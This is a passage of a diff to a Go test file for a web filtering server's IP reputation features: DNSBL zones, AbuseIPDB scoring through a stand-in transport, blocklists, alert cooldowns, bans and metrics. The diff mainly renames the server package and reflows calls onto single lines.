// for the zone, nor alerted, nor asked about.
|
||||||
wantReputation(
|
wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||||
t,
|
dropURL)
|
||||||
s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
|
|
||||||
dropURL,
|
|
||||||
)
|
|
||||||
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
|
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
|
||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != 1 || waiting[0].Detail["source"] != dropURL {
|
if len(waiting) != 1 || waiting[0].Detail["source"] != dropURL {
|
||||||
t.Errorf(
|
t.Errorf("alerts waiting %+v, want the blocklist's reputation_hit alone", waiting)
|
||||||
"alerts waiting %+v, want the blocklist's reputation_hit alone",
|
|
||||||
waiting,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if queries := server.DNSBL.Queries(dnsblZone); queries != 0 {
|
if queries := server.DNSBL.Queries(dnsblZone); queries != 0 {
|
||||||
@@ -560,7 +494,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
|
|||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
name string
|
name string
|
||||||
env map[string]string
|
env map[string]string
|
||||||
load func(*waf.Server)
|
load func(*discriminator.Server)
|
||||||
want []string
|
want []string
|
||||||
}{
|
}{
|
||||||
{
|
{
|
||||||
@@ -568,7 +502,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
|
|||||||
map[string]string{
|
map[string]string{
|
||||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionLog,
|
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionLog,
|
||||||
},
|
},
|
||||||
func(server *waf.Server) {
|
func(server *discriminator.Server) {
|
||||||
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
|
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
|
||||||
},
|
},
|
||||||
[]string{"asn=64496", "country=DE", "dnsbl=" + dnsblZone},
|
[]string{"asn=64496", "country=DE", "dnsbl=" + dnsblZone},
|
||||||
@@ -576,7 +510,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
|
|||||||
{
|
{
|
||||||
abuseipdb,
|
abuseipdb,
|
||||||
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionLog},
|
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionLog},
|
||||||
func(server *waf.Server) {
|
func(server *discriminator.Server) {
|
||||||
loadScores(server, map[string]int64{fromDE: 80})
|
loadScores(server, map[string]int64{fromDE: 80})
|
||||||
},
|
},
|
||||||
[]string{abuseipdb, "asn=64496", "country=DE"},
|
[]string{abuseipdb, "asn=64496", "country=DE"},
|
||||||
@@ -588,17 +522,13 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
|
|||||||
s, server, _ := startWithLookups(t, tc.env)
|
s, server, _ := startWithLookups(t, tc.env)
|
||||||
tc.load(server)
|
tc.load(server)
|
||||||
|
|
||||||
wantTags(
|
wantTags(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||||
t,
|
|
||||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
|
||||||
tc.want...)
|
tc.want...)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
|
func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, server, queue := startWithLookups(t, map[string]string{
|
s, server, queue := startWithLookups(t, map[string]string{
|
||||||
@@ -617,9 +547,7 @@ func TestObserveModeForwardsAClientADNSBLZoneDeniesAndAlertsIt(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -635,37 +563,27 @@ func TestReputationLimitTakesPartInTheLowestPercentageOfEveryLimit(
|
|||||||
{actionLog, limitQuarter, "25 from " + reputationAction},
|
{actionLog, limitQuarter, "25 from " + reputationAction},
|
||||||
{actionLog, actionLog, none},
|
{actionLog, actionLog, none},
|
||||||
} {
|
} {
|
||||||
t.Run(
|
t.Run(tc.blocklistAction+" "+tc.reputationAction, func(t *testing.T) {
|
||||||
tc.blocklistAction+" "+tc.reputationAction,
|
t.Parallel()
|
||||||
func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, server, _ := startWithLookups(t, map[string]string{
|
s, server, _ := startWithLookups(t, map[string]string{
|
||||||
blocklistURLs: dropURL, blocklistAction: tc.blocklistAction,
|
blocklistURLs: dropURL, blocklistAction: tc.blocklistAction,
|
||||||
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
||||||
reputationAction: tc.reputationAction,
|
reputationAction: tc.reputationAction,
|
||||||
})
|
})
|
||||||
loadLists(t, server, map[string][]string{dropURL: {fromDE}})
|
loadLists(t, server, map[string][]string{dropURL: {fromDE}})
|
||||||
loadVerdicts(
|
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
|
||||||
server,
|
|
||||||
map[string][]string{fromDE: {dnsblZone}},
|
|
||||||
)
|
|
||||||
|
|
||||||
// Named by the blocklist, then by the zone.
|
// Named by the blocklist, then by the zone.
|
||||||
line := s.get(
|
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||||
fromDE,
|
wantReputation(t, line, dropURL, dnsblZone)
|
||||||
http.StatusOK,
|
wantPercent(t, "rate_limit_percent",
|
||||||
requestlog.ActionForward,
|
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||||
)
|
tc.want)
|
||||||
wantReputation(t, line, dropURL, dnsblZone)
|
wantPercent(t, "bytes_limit_percent",
|
||||||
wantPercent(t, "rate_limit_percent",
|
line.BytesLimitPercent, line.BytesLimitPercentSetting,
|
||||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
tc.want)
|
||||||
tc.want)
|
})
|
||||||
wantPercent(t, "bytes_limit_percent",
|
|
||||||
line.BytesLimitPercent, line.BytesLimitPercentSetting,
|
|
||||||
tc.want)
|
|
||||||
},
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -685,12 +603,8 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
|
|||||||
// The second request's alerts are repeats, which the cooldown holds
|
// The second request's alerts are repeats, which the cooldown holds
|
||||||
// back.
|
// back.
|
||||||
for range 2 {
|
for range 2 {
|
||||||
wantReputation(
|
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||||
t,
|
dnsblZone, otherZone)
|
||||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
|
||||||
dnsblZone,
|
|
||||||
otherZone,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
hit := func(zone string) alerts.Alert {
|
hit := func(zone string) alerts.Alert {
|
||||||
@@ -711,10 +625,7 @@ func TestEachZoneThatListsAClientRaisesAnAlertOncePerCooldownAndIsCounted(
|
|||||||
wantAlerts(t, queue, hit(dnsblZone), hit(otherZone))
|
wantAlerts(t, queue, hit(dnsblZone), hit(otherZone))
|
||||||
|
|
||||||
if queue.Suppressed() != 2 {
|
if queue.Suppressed() != 2 {
|
||||||
t.Errorf(
|
t.Errorf("%d alerts held back, want the second request's 2", queue.Suppressed())
|
||||||
"%d alerts held back, want the second request's 2",
|
|
||||||
queue.Suppressed(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Each zone's hits, and its queries and their failures, none, since
|
// Each zone's hits, and its queries and their failures, none, since
|
||||||
@@ -745,19 +656,12 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) {
|
|||||||
})
|
})
|
||||||
loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil})
|
loadVerdicts(server, map[string][]string{fromDE: {keyed}, unplaced: nil})
|
||||||
|
|
||||||
wantReputation(
|
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), masked)
|
||||||
t,
|
|
||||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
|
||||||
masked,
|
|
||||||
)
|
|
||||||
|
|
||||||
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != 1 || waiting[0].Detail["source"] != masked {
|
if len(waiting) != 1 || waiting[0].Detail["source"] != masked {
|
||||||
t.Errorf(
|
t.Errorf("alerts waiting %+v, want a reputation_hit alert from %s", waiting,
|
||||||
"alerts waiting %+v, want a reputation_hit alert from %s",
|
masked)
|
||||||
waiting,
|
|
||||||
masked,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
metrics := s.scrape()
|
metrics := s.scrape()
|
||||||
@@ -773,9 +677,7 @@ func TestZoneKeyIsMaskedInTheLogTheAlertAndTheMetrics(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(
|
func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, server, _ := startWithLookups(t, map[string]string{
|
s, server, _ := startWithLookups(t, map[string]string{
|
||||||
@@ -791,11 +693,7 @@ func TestRequestFromAClientWithoutAVerdictHasTheZoneAskedAboutIt(
|
|||||||
// request finds the query under way, or the zone left alone after it
|
// request finds the query under way, or the zone left alone after it
|
||||||
// failed, since nothing answers at noResolver.
|
// failed, since nothing answers at noResolver.
|
||||||
for range 2 {
|
for range 2 {
|
||||||
wantReputation(
|
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), otherZone)
|
||||||
t,
|
|
||||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
|
||||||
otherZone,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
|
if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
|
||||||
@@ -817,7 +715,7 @@ const (
|
|||||||
// AbuseIPDB.
|
// AbuseIPDB.
|
||||||
const abuseipdb = reputation.AbuseIPDBSource
|
const abuseipdb = reputation.AbuseIPDBSource
|
||||||
|
|
||||||
// abuseIPDBURL is where newWAF has clients checked with AbuseIPDB: at
|
// abuseIPDBURL is where newDiscriminator has clients checked with AbuseIPDB: at
|
||||||
// abuseIPDBStandIn, which TestMain registers with Go's default transport,
|
// abuseIPDBStandIn, which TestMain registers with Go's default transport,
|
||||||
// through which AbuseIPDB is asked.
|
// through which AbuseIPDB is asked.
|
||||||
const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check"
|
const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check"
|
||||||
@@ -827,23 +725,17 @@ const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check"
|
|||||||
type abuseIPDBStandIn struct{}
|
type abuseIPDBStandIn struct{}
|
||||||
|
|
||||||
// RoundTrip answers req with the score 100.
|
// RoundTrip answers req with the score 100.
|
||||||
func (abuseIPDBStandIn) RoundTrip(
|
func (abuseIPDBStandIn) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||||
req *http.Request,
|
|
||||||
) (*http.Response, error) {
|
|
||||||
return &http.Response{
|
return &http.Response{
|
||||||
StatusCode: http.StatusOK,
|
StatusCode: http.StatusOK,
|
||||||
Status: "200 OK",
|
Status: "200 OK",
|
||||||
Header: http.Header{},
|
Header: http.Header{},
|
||||||
Body: io.NopCloser(
|
Body: io.NopCloser(strings.NewReader(`{"data":{"abuseConfidenceScore":100}}`)),
|
||||||
strings.NewReader(`{"data":{"abuseConfidenceScore":100}}`),
|
Request: req,
|
||||||
),
|
|
||||||
Request: req,
|
|
||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(
|
func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
forward := requestlog.ActionForward
|
forward := requestlog.ActionForward
|
||||||
@@ -867,16 +759,14 @@ func TestOnlyAClientThatHasCommittedAnOffenceIsCheckedWithAbuseIPDB(
|
|||||||
clk.advance(time.Hour)
|
clk.advance(time.Hour)
|
||||||
wantReputation(t, s.get(fromDE, http.StatusOK, forward))
|
wantReputation(t, s.get(fromDE, http.StatusOK, forward))
|
||||||
wantAbuseIPDBChecks(t, server, 1)
|
wantAbuseIPDBChecks(t, server, 1)
|
||||||
waitUntil(func() bool { return len(server.AbuseIPDB.Snapshot()) == 1 })
|
waitUntil(func() bool { return len(server.AbuseIPDB.Snapshot().Scores) == 1 })
|
||||||
wantReputation(t, s.get(fromDE, http.StatusOK, forward), abuseipdb)
|
wantReputation(t, s.get(fromDE, http.StatusOK, forward), abuseipdb)
|
||||||
|
|
||||||
s.get(fromKP, http.StatusOK, forward)
|
s.get(fromKP, http.StatusOK, forward)
|
||||||
wantAbuseIPDBChecks(t, server, 1)
|
wantAbuseIPDBChecks(t, server, 1)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(
|
func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
forward := requestlog.ActionForward
|
forward := requestlog.ActionForward
|
||||||
@@ -885,10 +775,7 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(
|
|||||||
// of its own.
|
// of its own.
|
||||||
var addresses []string
|
var addresses []string
|
||||||
for i := 1; i < 16; i++ {
|
for i := 1; i < 16; i++ {
|
||||||
addresses = append(
|
addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
|
||||||
addresses,
|
|
||||||
fmt.Sprintf("2001:db8:1:2:%x::9", i<<12),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
s, clk, server := startWithClock(t, "", map[string]string{
|
s, clk, server := startWithClock(t, "", map[string]string{
|
||||||
@@ -902,11 +789,7 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(
|
|||||||
s.get(addresses[0], http.StatusOK, forward)
|
s.get(addresses[0], http.StatusOK, forward)
|
||||||
}
|
}
|
||||||
|
|
||||||
s.get(
|
s.get(addresses[0], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
addresses[0],
|
|
||||||
http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited,
|
|
||||||
)
|
|
||||||
clk.advance(time.Hour)
|
clk.advance(time.Hour)
|
||||||
|
|
||||||
// Once the ban has ended, which set its counters back to zero, a
|
// Once the ban has ended, which set its counters back to zero, a
|
||||||
@@ -925,9 +808,7 @@ const (
|
|||||||
blockedPath = "/blocked"
|
blockedPath = "/blocked"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
|
func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -970,11 +851,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
|
|||||||
wantAbuseIPDBChecks(t, server, 0)
|
wantAbuseIPDBChecks(t, server, 0)
|
||||||
|
|
||||||
if got := historyOf(t, server, client).Offences; got != tc.want {
|
if got := historyOf(t, server, client).Offences; got != tc.want {
|
||||||
t.Errorf(
|
t.Errorf("history counts the offences %+v, want %+v", got, tc.want)
|
||||||
"history counts the offences %+v, want %+v",
|
|
||||||
got,
|
|
||||||
tc.want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Its next request, once any ban for a clear sign of attack
|
// Its next request, once any ban for a clear sign of attack
|
||||||
@@ -986,9 +863,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
|
forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
|
||||||
@@ -1036,11 +911,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
|||||||
// A request refused for the score is not counted.
|
// A request refused for the score is not counted.
|
||||||
counted := line.fields["counts"] != nil
|
counted := line.fields["counts"] != nil
|
||||||
if counted != (tc.actions[i] != denied) {
|
if counted != (tc.actions[i] != denied) {
|
||||||
t.Errorf(
|
t.Errorf("request counted %t, logged %s", counted, tc.actions[i])
|
||||||
"request counted %t, logged %s",
|
|
||||||
counted,
|
|
||||||
tc.actions[i],
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1054,8 +925,7 @@ func TestEachReputationActionForAClientAbuseIPDBScoresAtOrOverTheMinimum(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A refusal for the score makes no ban.
|
// A refusal for the score makes no ban.
|
||||||
if held := server.Ledger.Snapshot(); tc.action == actionDeny &&
|
if held := server.Ledger.Snapshot(); tc.action == actionDeny && len(held) != 0 {
|
||||||
len(held) != 0 {
|
|
||||||
t.Errorf("bans %+v, want none", held)
|
t.Errorf("bans %+v, want none", held)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -1074,11 +944,8 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
|
|||||||
|
|
||||||
// The second request's alert is a repeat, which the cooldown holds back.
|
// The second request's alert is a repeat, which the cooldown holds back.
|
||||||
for range 2 {
|
for range 2 {
|
||||||
wantReputation(
|
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||||
t,
|
abuseipdb)
|
||||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
|
||||||
abuseipdb,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The alert is made as a DNSBL zone's is, with the score besides.
|
// The alert is made as a DNSBL zone's is, with the score besides.
|
||||||
@@ -1087,12 +954,8 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
|
|||||||
waiting[0].Reason != "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE" ||
|
waiting[0].Reason != "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE" ||
|
||||||
waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) ||
|
waiting[0].Detail["source"] != abuseipdb || waiting[0].Detail["score"] != int64(90) ||
|
||||||
queue.Suppressed() != 1 {
|
queue.Suppressed() != 1 {
|
||||||
t.Errorf(
|
t.Errorf("alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+
|
||||||
"alerts waiting %+v, %d held back, want AbuseIPDB's reputation_hit "+
|
"with the score 90, and 1", waiting, queue.Suppressed())
|
||||||
"with the score 90, and 1",
|
|
||||||
waiting,
|
|
||||||
queue.Suppressed(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// The hits, and the checks, none, since no client committed an
|
// The hits, and the checks, none, since no client committed an
|
||||||
@@ -1103,12 +966,7 @@ func TestAbuseIPDBHitRaisesAnAlertWithTheScoreOncePerCooldownAndIsCounted(
|
|||||||
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 2)
|
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 2)
|
||||||
wantMetric(t, metrics, "sww_reputation_queries_total"+labels, 0)
|
wantMetric(t, metrics, "sww_reputation_queries_total"+labels, 0)
|
||||||
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
|
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
|
||||||
wantMetric(
|
wantMetric(t, metrics, "sww_reputation_daily_budget_remaining"+labels, 900)
|
||||||
t,
|
|
||||||
metrics,
|
|
||||||
"sww_reputation_daily_budget_remaining"+labels,
|
|
||||||
900,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) {
|
func TestWithoutAnAbuseIPDBKeyNoClientIsCheckedNorAScoreUsed(t *testing.T) {
|
||||||
@@ -1138,8 +996,7 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
|
|||||||
|
|
||||||
score := int64(90)
|
score := int64(90)
|
||||||
listed := []bans.ReputationHit{
|
listed := []bans.ReputationHit{
|
||||||
{Source: dropURL}, {Source: dnsblZone},
|
{Source: dropURL}, {Source: dnsblZone}, {Source: abuseipdb, Score: &score},
|
||||||
{Source: abuseipdb, Score: &score},
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, tc := range []struct {
|
for _, tc := range []struct {
|
||||||
@@ -1167,12 +1024,8 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
|
|||||||
// Every source lists client, and none otherClient, whose score is
|
// Every source lists client, and none otherClient, whose score is
|
||||||
// under SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
|
// under SWW_ABUSEIPDB_MIN_SCORE, 75 by default.
|
||||||
loadLists(t, server, map[string][]string{dropURL: {client}})
|
loadLists(t, server, map[string][]string{dropURL: {client}})
|
||||||
loadVerdicts(server, map[string][]string{
|
loadVerdicts(server, map[string][]string{client: {dnsblZone}, otherClient: nil})
|
||||||
client: {dnsblZone}, otherClient: nil,
|
loadScores(server, map[string]int64{client: score, otherClient: 74})
|
||||||
})
|
|
||||||
loadScores(server, map[string]int64{
|
|
||||||
client: score, otherClient: 74,
|
|
||||||
})
|
|
||||||
|
|
||||||
for _, banned := range []struct {
|
for _, banned := range []struct {
|
||||||
from string
|
from string
|
||||||
@@ -1180,20 +1033,10 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
|
|||||||
}{{client, listed}, {otherClient, nil}} {
|
}{{client, listed}, {otherClient, nil}} {
|
||||||
tc.ban(s, banned.from)
|
tc.ban(s, banned.from)
|
||||||
|
|
||||||
held := server.Ledger.Bans(
|
held := server.Ledger.Bans(netip.MustParsePrefix(banned.from + "/32"))
|
||||||
netip.MustParsePrefix(banned.from + "/32"),
|
if len(held) != 1 || !reflect.DeepEqual(held[0].Notes.Reputation, banned.want) {
|
||||||
)
|
t.Errorf("bans of %s %+v, want one whose notes have the reputation %+v",
|
||||||
if len(held) != 1 ||
|
banned.from, held, banned.want)
|
||||||
!reflect.DeepEqual(
|
|
||||||
held[0].Notes.Reputation,
|
|
||||||
banned.want,
|
|
||||||
) {
|
|
||||||
t.Errorf(
|
|
||||||
"bans of %s %+v, want one whose notes have the reputation %+v",
|
|
||||||
banned.from,
|
|
||||||
held,
|
|
||||||
banned.want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1207,13 +1050,9 @@ func TestBanNotesNameEachReputationSourceThatListedTheClient(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
want := [][]bans.ReputationHit{listed, nil}
|
if want := [][]bans.ReputationHit{listed, nil}; !reflect.DeepEqual(alerted, want) {
|
||||||
if !reflect.DeepEqual(alerted, want) {
|
t.Errorf("the ban alerts' notes have the reputation %+v, want %+v",
|
||||||
t.Errorf(
|
alerted, want)
|
||||||
"the ban alerts' notes have the reputation %+v, want %+v",
|
|
||||||
alerted,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -1233,24 +1072,17 @@ func verdictsFetched() time.Time {
|
|||||||
|
|
||||||
// loadVerdicts puts into server's DNSBL, for each client listedBy names,
|
// loadVerdicts puts into server's DNSBL, for each client listedBy names,
|
||||||
// a verdict of each zone SWW_DNSBL_ZONES names, fetched at
|
// a verdict of each zone SWW_DNSBL_ZONES names, fetched at
|
||||||
// verdictsFetched, as dnsbl.json would at start: one that lists the
|
// verdictsFetched, as reputation.json would at start: one that lists the
|
||||||
// client from each zone listedBy gives for it, and one that does not from
|
// client from each zone listedBy gives for it, and one that does not from
|
||||||
// each other zone.
|
// each other zone.
|
||||||
func loadVerdicts(server *waf.Server, listedBy map[string][]string) {
|
func loadVerdicts(server *discriminator.Server, listedBy map[string][]string) {
|
||||||
verdicts := make(
|
verdicts := make([]reputation.Verdict, 0, len(listedBy)*len(server.DNSBL.Zones()))
|
||||||
[]reputation.Verdict,
|
|
||||||
0,
|
|
||||||
len(listedBy)*len(server.DNSBL.Zones()),
|
|
||||||
)
|
|
||||||
|
|
||||||
for client, zones := range listedBy {
|
for client, zones := range listedBy {
|
||||||
for _, zone := range server.DNSBL.Zones() {
|
for _, zone := range server.DNSBL.Zones() {
|
||||||
verdicts = append(verdicts, reputation.Verdict{
|
verdicts = append(verdicts, reputation.Verdict{
|
||||||
Zone: zone, Client: netip.MustParseAddr(client),
|
Zone: zone, Client: netip.MustParseAddr(client),
|
||||||
Listed: slices.Contains(
|
Listed: slices.Contains(zones, zone), Fetched: verdictsFetched(),
|
||||||
zones,
|
|
||||||
zone,
|
|
||||||
), Fetched: verdictsFetched(),
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1259,9 +1091,9 @@ func loadVerdicts(server *waf.Server, listedBy map[string][]string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// loadScores puts into server's AbuseIPDB the score scores gives each
|
// loadScores puts into server's AbuseIPDB the score scores gives each
|
||||||
// client, an IPv4 address, fetched at verdictsFetched, as
|
// client, an IPv4 address, fetched at verdictsFetched, as reputation.json
|
||||||
// abuseipdb-scores.json would at start.
|
// would at start.
|
||||||
func loadScores(server *waf.Server, scores map[string]int64) {
|
func loadScores(server *discriminator.Server, scores map[string]int64) {
|
||||||
kept := make([]reputation.Score, 0, len(scores))
|
kept := make([]reputation.Score, 0, len(scores))
|
||||||
for client, score := range scores {
|
for client, score := range scores {
|
||||||
kept = append(kept, reputation.Score{
|
kept = append(kept, reputation.Score{
|
||||||
@@ -1270,12 +1102,12 @@ func loadScores(server *waf.Server, scores map[string]int64) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
server.AbuseIPDB.Load(kept)
|
server.AbuseIPDB.Load(reputation.Checks{Scores: kept})
|
||||||
}
|
}
|
||||||
|
|
||||||
// wantAbuseIPDBChecks checks how many clients server has checked with
|
// wantAbuseIPDBChecks checks how many clients server has checked with
|
||||||
// AbuseIPDB.
|
// AbuseIPDB.
|
||||||
func wantAbuseIPDBChecks(t *testing.T, server *waf.Server, want int) {
|
func wantAbuseIPDBChecks(t *testing.T, server *discriminator.Server, want int) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if got := server.AbuseIPDB.Checked(); got != want {
|
if got := server.AbuseIPDB.Checked(); got != want {
|
||||||
@@ -1284,12 +1116,8 @@ func wantAbuseIPDBChecks(t *testing.T, server *waf.Server, want int) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// loadLists puts copies of lists into server's lists, by URL, each with
|
// loadLists puts copies of lists into server's lists, by URL, each with
|
||||||
// its lines, fetched at listsFetched, as lists.json would at start.
|
// its lines, fetched at listsFetched, as reputation.json would at start.
|
||||||
func loadLists(
|
func loadLists(t *testing.T, server *discriminator.Server, copies map[string][]string) {
|
||||||
t *testing.T,
|
|
||||||
server *waf.Server,
|
|
||||||
copies map[string][]string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
lists := make([]reputation.List, 0, len(copies))
|
lists := make([]reputation.List, 0, len(copies))
|
||||||
@@ -1311,10 +1139,6 @@ func wantReputation(t *testing.T, line logLine, want ...string) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if !slices.Equal(line.Reputation, want) {
|
if !slices.Equal(line.Reputation, want) {
|
||||||
t.Errorf(
|
